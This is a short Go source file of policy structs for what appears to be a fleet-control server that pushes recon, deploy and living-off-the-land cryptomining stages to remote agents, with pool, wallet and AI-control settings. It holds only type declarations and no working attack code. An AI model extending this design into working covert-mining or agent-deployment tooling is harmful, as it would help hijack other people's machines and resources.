package api // ServerPolicy holds Calibrate settings enforced at runtime. type ServerPolicy struct { MaxAgents int LogAgentConnections bool LogShareSubmissions bool LogPoolTraffic bool StrictWalletValidation bool MaxBuildSizeMB int PoolReconnectSeconds int LotlOnionTiers []string ServiceDeployAllowlist map[string]ServiceDeployLane MiningTierPolicy MiningTierPolicy TripleOnionPolicy TripleOnionPolicy // AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control). AIControlEnabled bool } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. type TripleOnionPolicy struct { PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` HighRiskThreshold int `json:"high_risk_threshold,omitempty"` ReconTiers []string `json:"recon_tiers,omitempty"` DeployLanes []string `json:"deploy_lanes,omitempty"` } // MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth. type MiningTierPolicy struct { TierOrder []string `json:"tier_order,omitempty"` SkipTiers []string `json:"skip_tiers,omitempty"` ForceTier string `json:"force_tier,omitempty"` }